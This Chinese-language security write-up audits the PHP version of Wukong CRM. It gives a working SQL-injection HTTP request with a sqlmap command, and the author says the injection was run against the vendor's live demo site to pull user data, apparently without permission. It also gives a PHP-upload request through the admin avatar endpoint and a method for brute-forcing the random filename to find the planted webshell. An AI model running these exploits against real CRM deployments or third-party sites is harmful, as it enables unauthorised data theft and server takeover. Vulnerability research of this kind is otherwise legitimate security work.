0x01 目标熟悉

CRM:客户关系管理系统

官方地址:https://www.5kcrm.com/

源码下载地址:https://gitee.com/wukongcrm

可以看到共有5类,分别是:基于Spring Cloud Alibaba微服务框架、基于jfinal框架、基于TP5.0框架,以及php和java的前端

这里我们审计的是基于TP5.0框架的版本:https://gitee.com/wukongcrm/crm_php

0x02 环境搭建

参考官方文档:https://gitee.com/wukongcrm/crm_php

老样子,环境使用windows + phpstudy,将下载后的项目放到phpstudy对应的web目录下,一路下一步即可

有一个地方需要注意:

1、悟空crm需要用到redis,所以php需要配置redis扩展,以及需要安装redis服务端,可参考文章:http://www.wjhsh.net/lyzaidxh-p-11458909.html

安装时发现悟空crm要求php最低版本7.0,之前用的5.6,又要重新配置一下

安装时会要求输入序列号,序列号在官方文档中给出了,其他信息如下:

数据库名:5kcrm,数据库密码:root,管理员账号:13788889999,管理员密码:admin888

安装好后,如下图

image-20221216000144145

但是在登录的时候,会提示“网络错误 请检查你的网络”

各种谷歌搜索,尝试过导入public/sql/5kcrm.sql,但是admin_user中没有用户,依旧登录不上

利用后台注入,对官网的demo站进行sql注入,时间盲注有点慢,耐心等待后,拿到用户表中的数据,最后,依照5kcrm.sql中的表结构,挨个字段构造数据,再次尝试登录发现可成功登录

image-20221216164651698

0x03 代码审计

01 后台注入

时间有限,先不去分析路由、鉴权,后台挂着xray,访问各个接口,经过大量测试,在如下接口发现一处sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php/work/task/dateList HTTP/1.1
Host: demo11.5kcrm.net
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Sleipnir6/6.4.4; SleipnirSiteUpdates/6.4.4)
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
authKey: 22d8da8ce545a6e19a321f8a716bfda6
sessionId: b7i69u3nlkf6835up2lmbidndb
Content-Length: 37
Origin: http://demo11.5kcrm.net
Connection: close
Referer: http://demo11.5kcrm.net/
Cookie: PHPSESSID=b7i69u3nlkf6835up2lmbidndb

{"start_time":"123","stop_time":"12"}

sqlmap验证

1
python3.exe .\sqlmapproject-sqlmap-1.6.10\sqlmap.py -r 1.txt

有漏洞,如下图

image-20221216124452098

可爆出数据,如下图

image-20221216153510522

代码中的加密方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 用户密码加密方法
* @param string $str 加密的字符串
* @param [type] $auth_key 加密符
* @param [string] $username 用户名
* @return string 加密后长度为32的字符串
*/
function user_md5($str, $auth_key = '', $username = '')
{
return '' === $str ? '' : md5(sha1($str) . md5($str . $auth_key));
}



if (user_md5($param['new_pwd'], $userInfo['salt'], $userInfo['username']) == $userInfo['password']) {
$this->error = '密码没改变';
return false;
}

假如帐号:18888888888密码:123456a

1
2
3
4
5
6
7
8
9
10
<?php
echo md5(sha1("123456a") . md5("123456a" . "48be"));

echo "<br>";
if ("860a39355e1e4d1818144ac13bfc964f" == "860a39355e1e4d1818144ac13bfc964f") {
echo "yes, it's same";
}
else {
echo "no, it's not same";
}

测试后发现和爆出来的hash一样

但是cmd5中没有针对此方式的解密,现在的利用思路只能是本地跑或者用来update数据库中password字段的值

02 后台上传

常规的测一下头像上传功能,修改后缀和内容,不出意外返回500,意外的是文件传上去了,不过名字是随机的

如下数据包是管理员头像上传处抓的数据包,方便起见,可替换authKey和sessionId后,直接发送如下数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /crm_php-master/index.php/admin/users/updateImg HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Sleipnir6/6.4.4; SleipnirSiteUpdates/6.4.4)
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
authKey: 59243dc2a1b709a047ee85c3106f38b0
sessionId: 0snel6vf6hlt7nl8as1lar6q31
Content-Type: multipart/form-data; boundary=---------------------------25781395022072740844187142620
Content-Length: 341
Origin: http://10.211.55.3
Connection: close
Referer: http://10.211.55.3/crm_php-master/index.html
Cookie: PHPSESSID=0snel6vf6hlt7nl8as1lar6q31

-----------------------------25781395022072740844187142620
Content-Disposition: form-data; name="id"

1
-----------------------------25781395022072740844187142620
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();?>
-----------------------------25781395022072740844187142620--

访问后如下图

image-20221216220559395

现在的问题是如何获取文件名,查看相关代码

1
2
3
$savename = date('Ymd') . DS . md5(microtime(true));

20221216DS77f39cc096d7e05ab87e1171aa5ae4c0

可以知道文件名是如下代码生成的

1
md5(microtime(true))

其中

1
2
3
microtime(true)

1671199810.2335

也就是说每一秒有1万种可能,我们自己构造时间戳的话

1
2
3
4
5
6
echo strtotime("2022-12-16 17:47:20");
echo "<br>";
echo strtotime("2022-12-16 17:47:22");

1671184040
1671184042

我们可以这样,将数据包发送到repeater中,看着时间,点击发送,如下图

image-20221216222156797

比如我们在2022-12-16 22:22:30点击发送,对应的时间戳是

1
2
3
echo strtotime("2022-12-16 22:22:30");

1671200550

编写python脚本,构造小数点后4位,实际测试中发现,几乎不会有.0xxx系列的时间戳,所以可以去掉.0xxx,这样就减少1000个,可以看到如下这个文件名就是我们要找的webshell

image-20221216223646577